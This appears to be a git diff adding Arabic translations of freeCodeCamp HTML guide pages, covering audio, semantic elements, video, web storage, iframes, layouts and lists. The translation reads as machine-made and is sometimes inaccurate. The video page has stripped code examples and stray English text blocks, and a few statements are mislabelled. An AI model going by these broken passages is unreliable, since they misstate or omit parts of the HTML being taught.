+<audio src="https://s3.amazonaws.com/freecodecamp/simonSound1.mp3" controls loop autoplay> 
+ </audio> 
+` 
+
+تتضمن سمة `controls` الصوتية مثل التشغيل والإيقاف المؤقت ومستوى الصوت. إذا لم تستخدم هذه السمة ، فلن يتم عرض أي عناصر تحكم.
+
+يمكّنك العنصر `<source>` من الإشارة إلى الملفات الصوتية البديلة التي قد يختارها المتصفح. سيستخدم المتصفح تنسيق التعرف الأول. قد يظهر النص الموجود بين علامتي `<audio>` و `</audio>` في المتصفح الذي لا يدعم عنصر `<audio>` HTML5.
+
+ستقوم خاصية التشغيل التلقائي بتشغيل ملف الصوت تلقائيًا في الخلفية. من الأفضل ممارسة السماح للزوار باختيار تشغيل الصوت.
+
+تشير السمة preload إلى ما يجب على المستعرض فعله إذا لم يتم تعيين المشغل على التشغيل التلقائي.
+
+ستقوم السمة loop بتشغيل ملف الصوت الخاص بك في حلقة مستمرة إذا تم ذكرها
+
+نظرًا لأن هذا html5 ، لا يدعمه بعض المتصفحات. يمكنك التحقق من ذلك في https://caniuse.com/#search=audio
+
+#### معلومات اكثر:
+
+https://caniuse.com/#search=audio
+
+https://www.w3schools.com/html/html5\_audio.asp
+
+https://msdn.microsoft.com/en-us/library/gg589529(v=vs.85).aspx
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html5-semantic-elements/index.md b/client/src/guide/arabic/html/html5-semantic-elements/index.md
new file mode 100644
index 0000000000..dafac4dabc
--- /dev/null
+++ b/client/src/guide/arabic/html/html5-semantic-elements/index.md
@@ -0,0 +1,195 @@
+---
+title: HTML5 Semantic Elements
+localeTitle: عناصر دلالية HTML5
+---
+## عناصر دلالية HTML5
+
+تصف عناصر HTML الدلالية بوضوح معنى ذلك بطريقة بشرية وآلية قابلة للقراءة. تعتبر العناصر مثل `<header>` و `<footer>` و `<article>` جميعًا دلالية لأنها تصف بدقة الغرض من العنصر ونوع المحتوى الموجود فيه.
+
+### تاريخ سريع
+
+تم إنشاء HTML في الأصل كلغة ترميزية لوصف المستندات على الإنترنت المبكر. مع نمو الإنترنت واعتماده من قبل المزيد من الأشخاص ، تغيرت احتياجاته. حيث تم تنويع الإنترنت في الأصل لمشاركة المستندات العلمية ، أراد الأشخاص الآن مشاركة أشياء أخرى أيضًا. وبسرعة كبيرة ، بدأ الناس يرغبون في جعل الويب يبدو أجمل. نظرًا لأن الويب لم يتم تصميمه في الأساس ليتم تصميمه ، استخدم المبرمجون الاختراقات المختلفة للحصول على أشياء تم وضعها بطرق مختلفة. بدلاً من استخدام `<table></table>` لوصف المعلومات باستخدام جدول ، سيستخدمها المبرمجون لوضع عناصر أخرى على الصفحة. مع تقدم استخدام التخطيطات المصممة بصريًا ، بدأ المبرمجون في استخدام علامة "غير دلالية" عامة مثل `<div>` . كانوا في كثير من الأحيان يعطيون هذه العناصر سمة `class` أو `id` لوصف غرضهم. على سبيل المثال ، بدلاً من `<header>` ، غالبًا ما تمت كتابة هذا كـ `<div class="header">` . نظرًا لأن HTML5 لا يزال جديدًا نسبيًا ، فإن هذا الاستخدام للعناصر غير الدلالية لا يزال شائعًا جدًا على مواقع الويب اليوم.
+
+#### قائمة العناصر الدلالية الجديدة
+
+العناصر الدلالية المضافة في HTML5 هي:
+
+*   `<article>`
+*   `<aside>`
+*   `<details>`
+*   `<figcaption>`
+*   `<figure>`
+*   `<footer>`
+*   `<header>`
+*   `<main>`
+*   `<mark>`
+*   `<nav>`
+*   `<section>`
+*   `<summary>`
+*   `<time>`
+
+تعمل عناصر مثل `<header>` و `<nav>` و `<section>` و `<article>` و `<aside>` و `<footer>` بشكل أو بآخر مثل عناصر `<div>` . يجمعون عناصر أخرى معًا في أقسام الصفحة. ومع ذلك ، حيث يمكن أن تحتوي العلامة `<div>` على أي نوع من المعلومات ، يكون من السهل تحديد نوع المعلومات التي ستذهب في المنطقة `<header>` الدلالية.
+
+**مثال على تخطيط العنصر الدلالي عن طريق w3schools**
+
+![عناصر دلالية تحدد صفحة w3schools](https://www.w3schools.com/html/img_sem_elements.gif)
+
+### فوائد العناصر الدلالية
+
+للنظر في فوائد العناصر الدلالية ، وهنا قطعتين من رمز HTML. يستخدم هذا الكود الأول من التعليمة البرمجية العناصر الدلالية:
+
+ `<header></header> 
+ <section> 
+    <article> 
+        <figure> 
+            <img> 
+            <figcaption></figcaption> 
+        </figure> 
+    </article> 
+ </section> 
+ <footer></footer> 
+` 
+
+بينما يستخدم هذا الكود الثاني من التعليمات البرمجية عناصر غير دلالية:
+
+ `<div id="header"></div> 
+ <div class="section"> 
+    <div class="article"> 
+        <div class="figure"> 
+            <img> 
+            <div class="figcaption"></div> 
+        </div> 
+    </div> 
+ </div> 
+ <div id="footer"></div> 
+` 
+
+أولاً ، **أسهل للقراءة** . ربما هذا هو أول شيء ستلاحظه عند النظر إلى أول كتلة من الكود باستخدام عناصر دلالية. هذا مثال صغير ، ولكن كمبرمج يمكنك أن تقرأ من خلال مئات أو آلاف الأسطر من الكود. من الأسهل قراءة هذا الكود وفهمه ، حيث يسهل عليك عملك.
+
+لديها **إمكانية وصول أكبر** . أنت لست الوحيد الذي يجد العناصر الدلالية أسهل في الفهم. يمكن لمحركات البحث والتقنيات المساعدة (مثل قارئات الشاشة للمستخدمين الذين يعانون من ضعف البصر) أيضًا فهم السياق ومحتوى موقعك على الويب بشكل أفضل ، مما يعني تجربة أفضل للمستخدمين.
+
+بشكل عام ، تؤدي العناصر الدلالية أيضًا إلى **رمز** أكثر **تناسقًا** . عند إنشاء رأس باستخدام عناصر غير دلالية ، قد يكتب المبرمجون المختلفون هذا كـ `<div class="header">` أو `<div id="header">` أو `<div class="head">` أو ببساطة `<div>` . هناك العديد من الطرق التي يمكنك من خلالها إنشاء عنصر رأس ، وكلها تعتمد على التفضيل الشخصي للمبرمج. من خلال إنشاء عنصر الدلالية الدلالية ، فإنه يجعل من السهل على الجميع.
+
+منذ تشرين الأول 2014 ، تم ترقية HTML4 إلى HTML5 ، إلى جانب بعض العناصر "الدلالية" الجديدة. وحتى يومنا هذا ، قد لا يزال البعض منا مرتبكًا بشأن سبب ظهور العديد من العناصر المختلفة التي لا تظهر أي تغييرات كبيرة.
+
+#### `&#60;section&#62;` و `&#60;article&#62;`
+
+"ما الفرق؟" ، قد تسأل. كلا هذين العنصرين يستخدمان لتقسيم المحتوى ، ونعم ، يمكن بالتأكيد استخدامهما بالتبادل. انها مسألة في أي وضع. عرض HTML4 نوعًا واحدًا فقط من عناصر الحاوية ، وهو `&#60;div&#62;` . في حين أن هذا لا يزال مستخدمًا في HTML5 ، فإن HTML5 قد زودنا `&#60;section&#62;` و `&#60;article&#62;` بطريقة لاستبدال `&#60;div&#62;` .
+
+The `&#60;section&#62;` و `&#60;article&#62;` العناصر متشابهة من الناحية المفاهيمية وقابلة للتبادل. لتحديد أيها يجب عليك اختيار ، قم بتدوين ما يلي:
+
+1.  تهدف المقالة إلى أن تكون قابلة للتوزيع أو القابلة لإعادة الاستخدام بشكل مستقل.
+2.  القسم هو تجميع موضوعي للمحتوى.
+
+ `
+<section> 
+  <p>Top Stories</p> 
+  <section> 
+    <p>News</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+  <section> 
+    <p>Sport</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+ </section> 
+` 
+
+#### `&#60;header&#62;` و `&#60;hgroup&#62;`
+
+`&#60;header&#62;` عنصر موجود بشكل عام في أعلى مستند أو قسم أو مقالة ويحتوي عادةً على العنوان الرئيسي وبعض أدوات التنقل والبحث.
+
+ `
+<header> 
+  <h1>Company A</h1> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+  <form target="/search"> 
+    <input name="q" type="search" /> 
+    <input type="submit" /> 
+  </form> 
+ </header> 
+` 
+
+`&#60;hgroup&#62;` يجب استخدام عنصر حيث تريد عنوان رئيسي مع واحد أو أكثر من العناوين الفرعية.
+
+ `
+<hgroup> 
+  <h1>Heading 1</h1> 
+  <h2>Subheading 1</h2> 
+  <h2>Subheading 2</h2> 
+ </hgroup> 
+` 
+
+تذكر ، أن رأس `&#60;header&#62;` عنصر يمكن أن يحتوي على أي محتوى ، ولكن `&#60;hgroup&#62;` لا يمكن أن يحتوي العنصر إلا على رؤوس أخرى ، وهي `&#60;h1&#62;` إلى `&#60;h6&#62;` بما في ذلك `&#60;hgroup&#62;` .
+
+#### `&#60;aside&#62;`
+
+The `&#60;aside&#62;` عنصر مخصص للمحتوى الذي ليس جزءًا من تدفق النص الذي يظهر فيه ، ومع ذلك لا يزال مرتبطًا بطريقة ما. هذا `&#60;aside&#62;` كشريط جانبي للمحتوى الرئيسي الخاص بك.
+
+ `
+<aside> 
+  <p>This is a sidebar, for example a terminology definition or a short background to a historical figure.</p> 
+ </aside> 
+` 
+
+قبل HTML5 ، تم إنشاء قوائمنا باستخدام `&#60;ul&#62;` 's و `&#60;li&#62;` الصورة. الآن ، مع هذه ، يمكننا فصل عناصر القائمة لدينا باستخدام `&#60;nav&#62;` للتنقل بين صفحاتك. يمكنك الحصول على أي عدد من `&#60;nav&#62;` العناصر على الصفحة ، على سبيل المثال ، من الشائع أن يكون لديك نظام ملاحة عمومي عبر الجزء العلوي (في `&#60;header&#62;` ) والتنقل المحلي في شريط جانبي (في عنصر `&#60;aside&#62;` ).
+
+ `
+<nav> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+ </nav> 
+` 
+
+#### `&#60;footer&#62;`
+
+إذا كان هناك رأس `&#60;header&#62;` يجب أن يكون هناك `&#60;footer&#62;` . A `&#60;footer&#62;` بشكل عام في أسفل مستند أو قسم أو مقالة. تمامًا مثل `&#60;header&#62;` المحتوى عبارة عن معلومات عامة ، مثل تفاصيل المؤلف ، أو المعلومات القانونية ، و / أو روابط إلى المعلومات ذات الصلة. تسري أيضًا على تضمين `&#60;section&#62;` عناصر داخل تذييل الصفحة.
+
+ `
+<footer>&copy;Company A</footer> 
+` 
+
+#### `&#60;small&#62;`
+
+ال `&#60;small&#62;` يظهر العنصر غالبًا داخل `&#60;footer&#62;` أو `&#60;aside&#62;` العنصر الذي عادة ما يحتوي على معلومات حقوق الطبع والنشر أو التنازلات القانونية ، وغيرها من مثل هذه المطبوعة الجميلة. ومع ذلك ، هذا غير مخصص لجعل النص أصغر. إنه مجرد وصف محتواه ، وليس وصف العرض التقديمي.
+
+ `
+<footer><small>&copy;Company A</small> Date</footer> 
+` 
+
+#### `&#60;time&#62;`
+
+The `&#60;time&#62;` يسمح عنصر لا لبس فيها ISO 8601 تاريخ لإرفاق نسخة الإنسان من ذلك التاريخ.
+
+ `
+<time datetime="2017-10-31T11:21:00+02:00">Tuesday, 31 October 2017</time> 
+` 
+
+لماذا تهتم بـ `&#60;time&#62;` ؟ في حين يستطيع البشر قراءة الوقت الذي يمكن أن يفسد من خلال السياق بالطريقة العادية ، يمكن لأجهزة الكمبيوتر قراءة تاريخ ISO 8601 ورؤية التاريخ والوقت والمنطقة الزمنية.
+
+#### `&#60;figure&#62;` و `&#60;figcaption&#62;`
+
+`&#60;figure&#62;` لتغليف محتوى الصور حوله ، و `&#60;figcaption&#62;` هو تسمية صورتك.
+
+ `
+<figure> 
+  <img src="https://en.wikipedia.org/wiki/File:Shadow_of_Mordor_cover_art.jpg" alt="Shadow of Mordor" /> 
+  <figcaption>Cover art for Middle-earth: Shadow of Mordor</figcaption> 
+ </figure> 
+` 
+
+### تعرف على المزيد حول عناصر HTML5 الجديدة:
+
+*   توفر [w3schools أوصافاً](https://www.w3schools.com/html/html5_semantic_elements.asp) بسيطة وواضحة للعديد من عناصر الأخبار وكيفية / أين يجب استخدامها.
+*   يوفر [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) أيضًا مرجعًا رائعًا لكل عناصر HTML ويتعمق في كل عنصر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html5-video/index.md b/client/src/guide/arabic/html/html5-video/index.md
new file mode 100644
index 0000000000..3f7398e74e
--- /dev/null
+++ b/client/src/guide/arabic/html/html5-video/index.md
@@ -0,0 +1,64 @@
+---
+title: HTML5 Video
+localeTitle: HTML5 فيديو
+---
+## HTML5 فيديو
+
+قبل HTML5 ، لكي يكون لديك تشغيل فيديو في صفحة ويب ، ستحتاج إلى استخدام مكون إضافي ، مثل Adobe Flash Player. مع إدخال HTML5 ، يمكنك الآن وضعها مباشرة في الصفحة نفسها. HTML يتم استخدام العلامة لتضمين الفيديو في مستندات الويب. قد يحتوي على واحد أو أكثر من مصادر الفيديو ، ممثلة باستخدام السمة src أو عنصر [المصدر](source) .
+
+لتضمين ملف الفيديو في صفحة الويب ، ما عليك سوى إضافة مقتطف الشفرة وتغيير src للملف الصوتي.
+
+\`\` \`أتش تي أم أل   متصفحك لا يدعم عنصر الفيديو. يرجى تحديثه إلى أحدث إصدار.
+
+ `The controls attribute includes video controls, similar to play, pause, and volume. 
+ 
+ This feature is supported by all modern/updated browsers. However, not all support the same video file format. My recommendation for a wide range of compatibilty is MP4, as it is the most widely accepted format. There are also two other formats (WebM and Ogg) that are supported in Chrome, Firefox, and Opera. 
+ 
+ The <source> element enables you to indicate alternative video files which the browser may choose from. The browser will utilize the first recognized format. 
+ In HTML5, there are 3 supported video formats: MP4, WebM, and Ogg. 
+ 
+ The text between the <video> and </video> tags will only be displayed in browsers that do not support the <video> element. 
+ Since this is html5, some browsers do not support it. You can check the support at https://caniuse.com/#search=audio. 
+ 
+ 
+ There are several different elements of the video tag, many of these explanations are based on Mozilla's web docs (linked below). There are even more if you click the link at the bottom. 
+ 
+ #### autoplay 
+ 
+ "autoplay" can be set to either true or false. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. If set to true, the video will begin playing as soon as enough of the video has buffered for it to be able to play. Many people find autoplaying videos as disruptive or annoying so use this feature sparingly. Also note, that some mobile browsers, such as Safari for iOS, ignore this attribute. 
+` 
+
+أتش تي أم أل
+
+  
+
+ `#### poster 
+ 
+ The "poster" attribute is the image that shows on the video until the user clicks to play it. 
+` 
+
+أتش تي أم أل
+
+  
+
+ `#### controls 
+ 
+ The "controls" attribute can be set to true or false and will handle whether controls such as the play/pause button or volume slider appear. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. 
+` 
+
+أتش تي أم أل
+
+  
+
+\`\` \`
+
+هناك العديد من السمات التي يمكن إضافتها والتي تعد اختيارية لتخصيص مشغل الفيديو في الصفحة. لمعرفة المزيد ، انقر على الروابط أدناه.
+
+## معلومات اكثر:
+
+*   [W3Schools - فيديو HTML5](https://www.w3schools.com/html/html5_video.asp)
+*   [موزيلا على الويب مستندات - فيديو](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video)
+*   [ويكيبيديا - فيديو HTML5](https://en.wikipedia.org/wiki/HTML5_video)
+*   [HTML5 Rocks - HTML5 Video](https://www.html5rocks.com/en/tutorials/video/basics/)
+*   [هل يمكنني استخدام الفيديو؟](https://caniuse.com/#search=video)
+*   [كيفية استخدام HTML5 لتشغيل ملفات الفيديو على صفحة الويب الخاصة بك](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/samples/hh924821(v=vs.85))
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/html5-web-storage/index.md b/client/src/guide/arabic/html/html5-web-storage/index.md
new file mode 100644
index 0000000000..247db88812
--- /dev/null
+++ b/client/src/guide/arabic/html/html5-web-storage/index.md
@@ -0,0 +1,52 @@
+---
+title: HTML5 Web Storage
+localeTitle: تخزين HTML5 على الويب
+---
+## تخزين HTML5 على الويب
+
+تخزين الويب يسمح لتطبيقات الويب بتخزين ما يصل إلى 5 ميغابايت من المعلومات في تخزين المتصفح لكل مصدر (لكل نطاق وبروتوكول).
+
+### أنواع تخزين الويب
+
+هناك نوعان من الأشياء لتخزين البيانات على العميل:
+
+`window.localStorage` : يخزن البيانات بدون تاريخ انتهاء الصلاحية ويعيش حتى تتم إزالتها.
+
+ `// Store Item 
+ localStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ localStorage.getItem("foo"); //returns "bar" 
+` 
+
+`window.sessionStorage` : تخزين البيانات لجلسة واحدة ، حيث يتم فقدان البيانات عند إغلاق علامة تبويب المتصفح / المتصفح.
+
+ `// Store Item 
+ sessionStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ sessionStorage.getItem("foo"); //returns "bar" 
+` 
+
+نظرًا لأن التطبيق الحالي يعتمد فقط تعيينات سلسلة إلى سلسلة ، تحتاج إلى إجراء تسلسل وإزالة تسلسل هياكل البيانات الأخرى.
+
+يمكنك القيام بذلك باستخدام JSON.stringify () و JSON.parse ().
+
+على سبيل المثال لـ JSON المعطى
+
+ `var jsonObject = { 'one': 1, 'two': 2, 'three': 3 }; 
+` 
+
+تم أولاً تحويل كائن JSON إلى سلسلة وحفظه في وحدة التخزين المحلية:
+
+ `localStorage.setItem('jsonObjectString', JSON.stringify(jsonObject)); 
+` 
+
+للحصول على كائن JSON من السلسلة المخزنة في التخزين المحلي:
+
+ `var jsonObject = JSON.parse(localStorage.getItem('jsonObjectString')); 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) [HTML5 Rocks](https://www.html5rocks.com/en/features/storage) [مدارس W3](https://www.w3schools.com/html/html5_webstorage.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/iframes/index.md b/client/src/guide/arabic/html/iframes/index.md
new file mode 100644
index 0000000000..57631303de
--- /dev/null
+++ b/client/src/guide/arabic/html/iframes/index.md
@@ -0,0 +1,61 @@
+---
+title: Iframes
+localeTitle: نوافذ الأطر المدمجة
+---
+## نوافذ الأطر المدمجة
+
+يمثل عنصر HTML `<iframe>` إطار مضمّن ، مما يسمح لك بتضمين مستند HTML مستقل في مستند HTML الحالي. يتم استخدام `<iframe>` عادةً لتضمين الوسائط التابعة لجهات خارجية أو الوسائط الخاصة بك أو الأدوات أو مقتطفات الشفرة أو تضمين تطبيقات صغيرة تابعة لجهات أخرى مثل نماذج الدفع.
+
+### سمات
+
+فيما يلي بعض خصائص `<iframe>` :
+
+| السمة | الوصف | | --- | --- | | `allowfullscreen` | اضبط على true للسماح بوضع الإطار في وضع ملء الشاشة | `frameborder` | يروي المتصفح لرسم حدود حول الإطار (مضبوطا على 1 افتراضيا) | `height` ارتفاع الإطار في CSS بكسل | | `name` | اسم للإطار | | `src` | عنوان URL لصفحة الويب لتضمين | | `width` | عرض الإطار في CSS بكسل |
+
+### أمثلة
+
+تضمين فيديو YouTube مع `<iframe>` :
+
+ `
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" 
+ frameborder="0" allowfullscreen></iframe> 
+` 
+
+تضمين خرائط Google مع `<iframe>` :
+
+ `
+<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d774386.2436462595!2d-74.53874786161381!3d40.69718109704434!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c24fa5d33f083b%3A0xc80b8f06e177fe62!2sNew+York%2C+NY%2C+USA!5e0!3m2!1sen!2sau!4v1508405930424" 
+ width="600" height="450" frameborder="0" style="border:0" allowfullscreen></iframe> 
+` 
+
+### نص بديل
+
+يتم استخدام المحتوى بين علامتي الفتح `<iframe>` كنص بديل ، ليتم عرضه إذا كان متصفح المشاهد لا يدعم iframe.
+
+ `
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" frameborder="0"> 
+  <p>Your browser does not support iframes.</p> 
+ </iframe> 
+` 
+
+### استهداف إطار Iframe في ارتباط
+
+يمكن لأي رابط `<a>` أن يستهدف محتوى عنصر `<iframe>` . بدلاً من إعادة توجيه نافذة المتصفح إلى صفحة الويب المرتبطة ، سيعيد توجيه `<iframe>` . لكي يعمل هذا ، يجب أن تتطابق السمة `target` للعنصر `<a>` مع سمة `name` الخاصة بـ `<iframe>` .
+
+ `
+<iframe width="560" height="315" src="about:blank" frameborder="0" name="iframe-redir"></iframe> 
+ 
+ <p><a href="https://www.youtube.com/embed/v8kFT4I31es" target="iframe-redir">Redirect the Iframe</a></p> 
+` 
+
+سيعرض هذا المثال علامة `<iframe>` فارغة في البداية ، ولكن عند النقر على الرابط أعلاه ، سيعيد توجيه `<iframe>` لعرض فيديو YouTube.
+
+### جافا سكريبت و Iframes
+
+يمكن للوثائق المضمنة في `<iframe>` تشغيل JavaScript داخل السياق الخاص بها (دون التأثير على صفحة ويب الأصل) كالمعتاد.
+
+يخضع أي تفاعل في النص البرمجي بين صفحة الويب الرئيسية ومحتوى `<iframe>` إلى نفس سياسة الأصل. وهذا يعني أنه في حالة تحميل محتوى `<iframe>` من نطاق مختلف ، فسيحظر المتصفح أي محاولة للوصول إلى هذا المحتوى باستخدام JavaScript.
+
+### معلومات اكثر:
+
+انظر [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/index.md b/client/src/guide/arabic/html/index.md
new file mode 100644
index 0000000000..0f9e0a6c7a
--- /dev/null
+++ b/client/src/guide/arabic/html/index.md
@@ -0,0 +1,58 @@
+---
+title: HTML
+localeTitle: HTML
+---
+# HTML
+
+HyperText Markup Language (HTML) هي لغة ترميز تستخدم في إنشاء المستندات عبر الإنترنت وهي أساس معظم مواقع الويب اليوم. تتيح لنا لغات الترميز مثل HTML (1) إنشاء روابط لمستندات أخرى ، 2) تنظيم المحتوى في مستندنا ، و 3) تحديد السياق والمعنى لمحتوى وثيقتنا.
+
+يحتوي مستند HTML على جانبين له. يحتوي على معلومات منظمة (الترميز) ، وروابط النص (HyperText) إلى مستندات أخرى. نقوم ببناء صفحاتنا باستخدام [عناصر HTML](#) . فهي مبنية من اللغة التي توفر [البنية](#) [والمعنى](#) في مستندنا للمتصفح و عنصر الروابط إلى مستندات أخرى عبر الإنترنت.
+
+تم إنشاء الإنترنت في الأصل لتخزين وتقديم مستندات ثابتة (لا تتغير). شوهدت جوانب HTML التي نوقشت أعلاه بشكل مثالي في هذه الوثائق التي تفتقر إلى كل التصميم والتصميم. قدموا معلومات منظمة تحتوي على روابط لمستندات أخرى.
+
+HTML5 هو أحدث إصدار أو مواصفات لـ HTML. اتحاد شبكة الويب العالمية (W3C) هو المنظمة المسؤولة عن تطوير معايير لشبكة الويب العالمية ، بما في ذلك تلك الخاصة بـ HTML. مع تزايد تعقيد صفحات الويب وتطبيقات الويب ، يعمل W3C على تحديث معايير HTML.
+
+HTML5 يقدم مجموعة من العناصر الدلالية. على الرغم من أننا ناقشنا HTML ساعدنا على توفير معنى لوثيقة لدينا ، فإنه لم يكن حتى إدخال HTML5s من [العناصر الدلالية](#) أن أدركت "إمكاناته".
+
+## مثال بسيط على مستند HTML
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <title>Page Title</title> 
+ </head> 
+ <body> 
+ 
+  <h1>My First Heading</h1> 
+  <p>My first paragraph.</p> 
+ 
+ </body> 
+ </html> 
+` 
+
+DOCTYPE html: يحدد هذا المستند ليكون HTML5
+
+html: العنصر الجذر لصفحة HTML
+
+head: يحتوي العنصر على معلومات تعريف حول المستند
+
+title: يحدد العنصر عنوانًا للمستند
+
+نص: يحتوي العنصر على محتوى الصفحة المرئي
+
+h1: يحدد العنصر عنوانًا كبيرًا
+
+p: يحدد العنصر فقرة
+
+### إصدارات HTML
+
+منذ الأيام الأولى للويب ، كانت هناك العديد من إصدارات HTML
+
+| طباعة | السنة | | --- | --- | | HTML | 1991 | | HTML 2.0 | 1995 | | HTML 3.2 | 1997 | | HTML 4.01 | 1999 | | XHTML | 2000 | | HTML5 | 2014 |
+
+#### موارد آخرى
+
+*   [عناصر HTML](https://guide.freecodecamp.org/html/elements)
+*   [HTML الدلالي](https://guide.freecodecamp.org/html/html5-semantic-elements)
+*   [سمات HTML](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/layouts/index.md b/client/src/guide/arabic/html/layouts/index.md
new file mode 100644
index 0000000000..9c0cc90402
--- /dev/null
+++ b/client/src/guide/arabic/html/layouts/index.md
@@ -0,0 +1,54 @@
+---
+title: Layouts
+localeTitle: تخطيطات
+---
+## تخطيطات
+
+تخطيطات تنظم مناطق مختلفة من صفحة الويب.
+
+يمكن تقسيم كل صفحة الويب التي نراها تقريبًا إلى مربعات ، يمكن ترتيبها بترتيب معين لإنشاء صفحة الويب هذه. الصورة أدناه مثال واحد.
+
+![عينة من تصميم الموقع - www.codementor.io](http://i.imgur.com/Z1DSMYC.png)
+
+> غالبًا ما تعرض مواقع الويب محتوى في عدة أعمدة (مثل مجلة أو صحيفة).
+
+وتساعدنا تقنيات تخطيط HTML على وضع المعلومات المطلوبة في الطلب أو التصميم المطلوب.
+
+### تقنيات لتنفيذ التخطيطات
+
+#### جداول HTML
+
+واحدة من أكثر الأدوات الأساسية لتنفيذ التنسيقات في صفحة الويب ، يتم توفيرها بواسطة HTML. ولكن نظرًا لأن التخطيط يصبح معقدًا ، فإن جداول HTML ستفقد سرعتها بسهولة ، نظرًا لزيادة نصوص الترميز.
+
+#### CSS Float
+
+إذا كنت تريد تصميم صفحة تستند إلى 2 عمود مع جزء التنقل الأيسر ومنطقة عرض المحتوى المركزي ، فمن السهل القيام بذلك باستخدام floats CSS. ما عليك سوى تعيين صفحة الاستكشاف اليمنى في `<div>` مع خاصية `float: left;` . و voila تحصل على هذا التصميم. ولكن ماذا لو كان لديك 4 أعمدة في قسم واحد. بالتأكيد ، يمكن للمرء أن يفعل ذلك بعوامات ، ولكن سيكون من السهل فهم صيغة HTML التي تكتبها.
+
+#### أطر CSS
+
+هذا هو المكان الذي تأتي فيه CSS Frameworks مثل [Bootstrap](http://getbootstrap.com/) و [Materialize](http://materializecss.com/) . توفر أطر العمل هذه وظيفة الشبكة التي تسمح بتقسيم كل قسم من صفحة الويب الخاصة بك إلى 12 عمودًا ، والتي يمكنك طلبها لتصميمها.
+
+![مثال الشبكة](http://blog.gridbox.io/wp-content/uploads/2018/01/download-1-1024x271.png)
+
+> عينة Bootstrap الشبكة
+
+### HTML الدلالي الدلائل
+
+غالبًا ما تعرض مواقع الويب محتوى في عدة أعمدة (مثل مجلة أو صحيفة).
+
+تقدم HTML5 عناصر دلالية دلالية تحدد الأجزاء المختلفة لصفحة الويب:
+
+ `<header> - Defines a header for a document or a section 
+ <nav> - Defines a container for navigation links 
+ <section> - Defines a section in a document 
+ <article> - Defines an independent self-contained article 
+ <aside> - Defines content aside from the content (like a sidebar) 
+ <footer> - Defines a footer for a document or a section 
+ <details> - Defines additional details 
+ <summary> - Defines a heading for the <details> element 
+` 
+
+#### معلومات اكثر:
+
+*   [مدارس W3 - تخطيط](https://www.w3schools.com/html/html_layout.asp)
+*   [CodeMentorTeam](https://www.codementor.io/codementorteam/4-different-html-css-layout-techniques-to-create-a-site-85i9t1x34) - تقنيات تخطيط لإنشاء موقع
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/lists/index.md b/client/src/guide/arabic/html/lists/index.md
new file mode 100644
index 0000000000..ac538b4647
--- /dev/null
+++ b/client/src/guide/arabic/html/lists/index.md
@@ -0,0 +1,102 @@
+---
+title: Lists
+localeTitle: قوائم
+---
+# قوائم
+
+يتم استخدام القوائم لعرض العناصر. هناك 3 أنواع من القوائم.
+
+## قوائم مرتبة
+
+يتم استخدام _قائمة مرتبة_ لوصف مجموعة مرتبة من البيانات. تعرض المتصفحات عادةً قائمة مرتبة كقائمة مُرقمة. قم بإنشاء قائمة مرتبة باستخدام العلامة `<ol>` .
+
+## قوائم غير مرتبة
+
+يتم استخدام _قائمة غير مرتبة_ لوصف مجموعة غير مرتبة من البيانات. تعرض المتصفحات عادة قائمة غير مرتبة كقائمة نقطية. إنشاء قائمة غير مرتبة باستخدام علامة `<ul>` .
+
+## قائمة المواد
+
+يجب أن يكون الأطفال المباشرون للقوائم المرتبة وغير المرتبة عناصر قائمة. يتم لف كل عنصر قائمة في `<li>` العلامة. يمكن أن تحتوي علامة عنصر القائمة على [محتوى التدفق](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content) .
+
+## أمثلة
+
+تتم كتابة قائمة مرتبة ك
+
+ `<ol> 
+  <li>January</li> 
+  <li>February</li> 
+  <li>March</li> 
+ </ol> 
+` 
+
+ويتم عرضها على النحو التالي:
+
+1.  كانون الثاني
+2.  شهر فبراير
+3.  مارس
+
+قائمة غير مرتبة مكتوبة باسم
+
+ `<ul> 
+  <li>Macintosh</li> 
+  <li>Fuji</li> 
+  <li>Gala</li> 
+ </ul> 
+` 
+
+ويتم عرضها على النحو التالي:
+
+*   ماكنتوش
+*   فوجي
+*   مهرجان
+
+## نقاط رصاص التصميم
+
+يمكن استخدام قائمة مرتبة لمجموعة متنوعة من الوظائف وفي عدد من الأنماط. نظرًا لأن تغيير ألوان العلامة الشاملة لا يؤدي إلى تغيير لون الرموز النقطية نفسها ، فيمكنك تنسيقها من خلال إزالة الرموز السوداء التقليدية وإدخال التعدادات الخاصة بك:
+
+إزالة الرموز النقطية:
+
+ `ul { 
+  list-style: none; 
+  } 
+` 
+
+قم بإدخال الخاص بك:
+
+ `ul li::before { 
+  content: "\2022"; 
+  color: orange; 
+  display: inline-block; 
+  width: 1em; 
+  } 
+` 
+
